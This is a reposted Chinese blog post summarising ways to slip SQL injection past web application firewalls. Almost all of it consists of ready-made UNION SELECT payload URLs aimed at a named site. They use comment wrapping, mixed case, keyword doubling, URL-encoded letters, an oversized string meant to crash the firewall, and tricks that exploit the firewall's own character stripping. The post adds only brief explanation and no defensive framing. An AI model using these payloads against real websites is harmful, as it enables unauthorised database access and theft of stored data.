• [转载]SQL注入绕过WAF的方法总结


    基本/简单绕过方法:
    
    1、注释符
    http://www.0dayhack.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
    
    2、使用大小写
    http://www.0dayhack.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
    
    3、结合前面两种方法
    http://www.0dayhack.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….
    
    4、关键字替换
    http://www.0dayhack.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
    
    5、内部注释
    
    http://www.0dayhack.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
    
    U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
    
    高级绕过方法:
    
    1、缓冲区溢出/使防火墙崩溃
    
    大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃
    
    http://www.0dayhack.com/index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
    
    你可以使用如下方法测试WAF
    
    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
    
    如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF
    
    2、对字母进行编码
    
    http://www.0dayhack.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
    
    3、使用其他变量或者命令对注入语句进行替换
    
    COMMAND | WHAT TO USE INSTEAD
    
    @@version | version()
    
    concat() | concat_ws()
    
    group_concat() | concat_ws()
    
    4、利用WAF本身的功能绕过
    
    假如你发现WAF会把”*”替换为空,那么你就可以利用这一特性来进行绕过
    
    ‍‍‍‍‍‍‍‍http://www.0dayhack.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4….
    
    其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
    
    
  • 相关阅读:
    Django异步与定时任务Celery
    SkyWalking 分布式追踪系统
    SharePoint 2010 硬件详细需求
    使用SharePoint 2010 客户端对象模型进行文档库及文档的操作
    SharePoint 2010 部署架构
    【git】项目添加.gitignore忽略.idea文件夹
    Android 横屏切换竖屏Activity的生命周期(转)
    经过完整测试的农历公历相互转换
    TZ ERP项目的随想
    C#加密与解密
  • 原文地址:https://www.cnblogs.com/deen-/p/7229709.html
Copyright © 2020-2023  润新知